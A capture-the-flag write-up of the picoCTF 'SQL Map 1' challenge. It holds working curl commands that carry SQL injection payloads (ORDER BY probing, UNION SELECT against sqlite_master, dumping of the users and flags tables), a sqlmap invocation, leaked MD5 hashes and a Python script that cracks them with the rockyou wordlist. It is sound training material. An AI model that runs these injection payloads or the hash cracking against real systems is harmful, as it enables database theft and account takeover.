Sql Map1
picoCTF SQL Map 1 writeup using sqlmap to automate SQL injection attacks and extract password hashes, then cracking them with MD5 lookup.
Contents
- Challenge Summary
- Initial Recon
- Why this command
- What it showed
- Login With Known Credentials
- Login request
- Why this command
- Result
- Follow the redirect and inspect the page
- Why this command
- What it showed
- Baseline Search Behavior
- Result
- Quick Injection Probe
- Result
- Automated Detection With sqlmap
- Why this command
- What sqlmap found
- Why I did not rely entirely on sqlmap
- Manual Column Count Discovery
- Why these commands
- Result
- Confirm UNION Reflection
- Result
- Dump Database Schema
- Why this command
- Result
- Dump the flags Table
- Result
- Dump the users Table
- Result
- Crack the MD5 Passwords
- Why this command
- Result
- Final Step: Login as the Legitimate User
- Result
- Flag
- Full Tooling Used
- curl
- sqlmap
- sed
- python3
- Why the Attack Worked
- Takeaway
Sql Map1
Challenge Summary
This picoCTF challenge exposed a login portal and hinted very strongly at SQL injection and weak password storage.
Target:
http://lonely-island.picoctf.net:65472/
Important hints:
sqlmap -u <URL_for_search> --cookie="PHPSESSID=1111111111111" -p <vulnerable_parameter> --batch --tablesPasswords should not be stored in md5 format
The goal was to retrieve the real flag by abusing the vulnerable search feature and then acting as a legitimate user.
Initial Recon
The landing page was a normal login/register screen.
I first fetched the homepage to confirm the app structure and cookie behavior:
curl -i -s http://lonely-island.picoctf.net:65472/
Why this command
curlfetches the page directly-iincludes response headers-skeeps output clean
What it showed
- The app used PHP
- A
PHPSESSIDcookie was set - The login form posted to
login.php - There was also a
register.php
Login With Known Credentials
You provided the valid credentials:
pico : pico
So the next step was to authenticate and load the post-login page.
Login request
curl -i -s -c /tmp/sqlmap1.cookies -b /tmp/sqlmap1.cookies \
-d 'username=pico&password=pico' \
http://lonely-island.picoctf.net:65472/login.php
Why this command
-c /tmp/sqlmap1.cookiesstores the PHP session cookie-b /tmp/sqlmap1.cookiesreuses the same cookie jar-dsubmits POST form fields
Result
The server responded with:
Location: vuln.php
That revealed the authenticated search page.
Follow the redirect and inspect the page
curl -s -c /tmp/sqlmap1.cookies -b /tmp/sqlmap1.cookies \
-d 'username=pico&password=pico' \
http://lonely-island.picoctf.net:65472/login.php -L | sed -n '1,220p'
Why this command
-Lfollows redirects automaticallysed -n '1,220p'limits output to the useful top portion
What it showed
The page title was:
Vulnerable Flag Search - picoCTF2026
The search form used:
GET /vuln.php?q=<search term>
So the likely injection point was the q parameter.
Baseline Search Behavior
Before attacking the parameter, I checked normal behavior.
curl -s -b /tmp/sqlmap1.cookies \
'http://lonely-island.picoctf.net:65472/vuln.php?q=test' | sed -n '1,220p'
Result
The app returned:
No flags matched your search.
That gave a clean baseline.
Quick Injection Probe
Then I tested a quote:
curl -s -b /tmp/sqlmap1.cookies \
'http://lonely-island.picoctf.net:65472/vuln.php?q=%27' | sed -n '1,220p'
Result
The app did not throw a visible SQL error, but the challenge hint already strongly suggested the parameter was injectable. So the next step was to use sqlmap.
Automated Detection With sqlmap
I ran sqlmap against vuln.php?q=test and told it to test the q parameter using the authenticated PHPSESSID.
sqlmap -u 'http://lonely-island.picoctf.net:65472/vuln.php?q=test' \
--cookie='PHPSESSID=9d4efd36cc8f29e077e76d6a2aa5a171' \
-p q \
--batch \
--tables
Why this command
-usets the exact vulnerable URL--cookie=...preserves the logged-in session-p qtellssqlmapwhich parameter to test--batchanswers prompts automatically--tablesasks for table enumeration
What sqlmap found
sqlmap confirmed:
Parameter: q (GET)
Type: boolean-based blind
Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
and identified the backend as:
SQLite
Why I did not rely entirely on sqlmap
The small server became unstable during time-based probing, and sqlmap failed to enumerate tables cleanly from SQLite metadata. So after confirming the injection, I switched to manual UNION-based extraction.
Manual Column Count Discovery
To use UNION injection, I first determined the number of selected columns.
curl -s -b /tmp/sqlmap1.cookies \
'http://lonely-island.picoctf.net:65472/vuln.php?q=test%27%20ORDER%20BY%201--%20-' | sed -n '1,220p'
curl -s -b /tmp/sqlmap1.cookies \
'http://lonely-island.picoctf.net:65472/vuln.php?q=test%27%20ORDER%20BY%202--%20-' | sed -n '1,220p'
curl -s -b /tmp/sqlmap1.cookies \
'http://lonely-island.picoctf.net:65472/vuln.php?q=test%27%20ORDER%20BY%203--%20-' | sed -n '1,220p'
Why these commands
ORDER BY n helps determine how many columns are in the original query:
- If
nis valid, the query works - If
nis too large, the database throws an error
Result
ORDER BY 3 caused:
1st ORDER BY term out of range - should be between 1 and 2
So the query had exactly 2 columns.
Confirm UNION Reflection
Next I checked whether UNION results were reflected into the HTML.
curl -s -b /tmp/sqlmap1.cookies \
'http://lonely-island.picoctf.net:65472/vuln.php?q=test%27%20UNION%20SELECT%201,2--%20-' | sed -n '1,220p'
curl -s -b /tmp/sqlmap1.cookies \
'http://lonely-island.picoctf.net:65472/vuln.php?q=test%27%20UNION%20SELECT%20%27AAA%27,%27BBB%27--%20-' | sed -n '1,220p'
Result
The application rendered:
<li><strong>AAA</strong>: BBB</li>
That meant both UNION-selected columns were printed. This made manual extraction easy.
Dump Database Schema
With reflection working, I queried sqlite_master to list tables and create statements.
curl -s -b /tmp/sqlmap1.cookies \
"http://lonely-island.picoctf.net:65472/vuln.php?q=test'%20UNION%20SELECT%20name,sql%20FROM%20sqlite_master%20WHERE%20type='table'--%20-" \
| sed -n '1,260p'
Why this command
In SQLite, sqlite_master stores schema metadata.
Result
The database contained:
usersflagssqlite_sequence
The useful schemas were:
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL
)
CREATE TABLE flags (
id INTEGER PRIMARY KEY AUTOINCREMENT,
key TEXT NOT NULL UNIQUE,
value TEXT NOT NULL
)
Dump the flags Table
Now I extracted the contents of flags.
curl -s -b /tmp/sqlmap1.cookies \
"http://lonely-island.picoctf.net:65472/vuln.php?q=test'%20UNION%20SELECT%20key,value%20FROM%20flags--%20-" \
| sed -n '1,260p'
Result
This returned multiple flag-like values:
ctf-player : picoCTF{<redacted>}
flag1 : picoCTF{<redacted>}
flag2 : picoCTF{<redacted>}
flag3 : picoCTF{<redacted>}
flag4 : picoCTF{<redacted>}
...
These looked like decoys rather than the final answer.
Dump the users Table
The challenge hint also said passwords were stored in MD5 format, so I dumped the users table.
curl -s -b /tmp/sqlmap1.cookies \
"http://lonely-island.picoctf.net:65472/vuln.php?q=test'%20UNION%20SELECT%20username,password%20FROM%20users--%20-" \
| sed -n '1,260p'
Result
This returned users and MD5 hashes:
admin : 5a9a79d9fa477ed163b89088681672c9
ctf-player : 7a67ab5872843b22b5e14511867c4e43
ghost : 8d2379c40704bed972e55680be2355e2
malicious : a669d60c31ad3d05b9e453c8576c7aab
noaccess : 83806b490e28a7f8e6662646cbdbff1a
pico : d3401cacf87221ecb1fe4f93b8bb90cd
suspicious : eb1f3ba6901c65d9b2e09a38f560758b
At this point, the challenge hint made sense: SQL injection exposed MD5 password hashes, and one of those needed to be cracked.
Crack the MD5 Passwords
I used rockyou.txt.gz and Python to test MD5 hashes without unpacking the wordlist.
python3 - <<'PY'
import gzip, hashlib
hashes={
'admin':'5a9a79d9fa477ed163b89088681672c9',
'ctf-player':'7a67ab5872843b22b5e14511867c4e43',
'ghost':'8d2379c40704bed972e55680be2355e2',
'malicious':'a669d60c31ad3d05b9e453c8576c7aab',
'noaccess':'83806b490e28a7f8e6662646cbdbff1a',
'pico':'d3401cacf87221ecb1fe4f93b8bb90cd',
'suspicious':'eb1f3ba6901c65d9b2e09a38f560758b',
}
rev={v:k for k,v in hashes.items()}
found={}
with gzip.open('/usr/share/wordlists/rockyou.txt.gz','rt',encoding='latin-1',errors='ignore') as f:
for line in f:
pwd=line.rstrip('\n')
h=hashlib.md5(pwd.encode()).hexdigest()
if h in rev and rev[h] not in found:
found[rev[h]]=pwd
print(rev[h], pwd)
if len(found)==len(hashes):
break
print('found', found)
PY
Why this command
gzip.open(...)streams the compressed wordlist directlyhashlib.md5(...)computes candidate hashes- This avoids creating a huge decompressed file
Result
It recovered:
ctf-player dyesebel
pico pico
The important new credential was:
ctf-player : dyesebel
Final Step: Login as the Legitimate User
The challenge statement said to retrieve the secret flag by acting as a legit user. That implied the SQLi output alone was not the final answer, and ctf-player was likely the intended account.
So I logged in as that user:
curl -s -c /tmp/sqlmap1b.cookies -b /tmp/sqlmap1b.cookies \
-d 'username=ctf-player&password=dyesebel' \
http://lonely-island.picoctf.net:65472/login.php -L | sed -n '1,260p'
Result
The protected page displayed:
The challenge flag is:
picoCTF{<redacted>}
Flag
picoCTF{<redacted>}
Full Tooling Used
curl
Used for:
- fetching pages
- submitting login forms
- replaying authenticated requests
- manually testing SQL injection payloads
Why it mattered:
- fast direct HTTP inspection
- easy cookie reuse
- precise GET/POST control
sqlmap
Used for:
- confirming the parameter was injectable
- identifying the backend DBMS as SQLite
Why it mattered:
- quickly validated the challenge hint
- saved time on injection detection
Why I did not rely on it for everything:
- SQLite enumeration was unreliable on this small target
- manual UNION extraction was faster once the injection shape was known
sed
Used to trim HTTP output:
sed -n '1,220p'
Why it mattered:
- kept responses readable
- avoided scrolling through unnecessary markup
python3
Used to crack MD5 hashes with rockyou.txt.gz.
Why it mattered:
- easy hash testing
- direct streaming of the compressed wordlist
- enough flexibility to match multiple hashes at once
Why the Attack Worked
The app had two independent weaknesses:
- The authenticated search parameter
qwas SQL injectable. - User passwords were stored in raw MD5, which is weak and crackable.
SQL injection exposed the users and flags tables, but the real final flag required logging in as the legitimate user ctf-player. Cracking the MD5 hash for that account produced the password dyesebel, and that login revealed the actual flag on the protected page.
Takeaway
This challenge was not just “dump the database and stop.” The intended path was:
- Login as
pico:pico - Find SQL injection in
vuln.php?q=... - Dump
usersandflags - Crack the leaked MD5 hash for
ctf-player - Login legitimately as
ctf-player - Read the real flag
Final working credential:
ctf-player : dyesebel
Final flag:
picoCTF{<redacted>}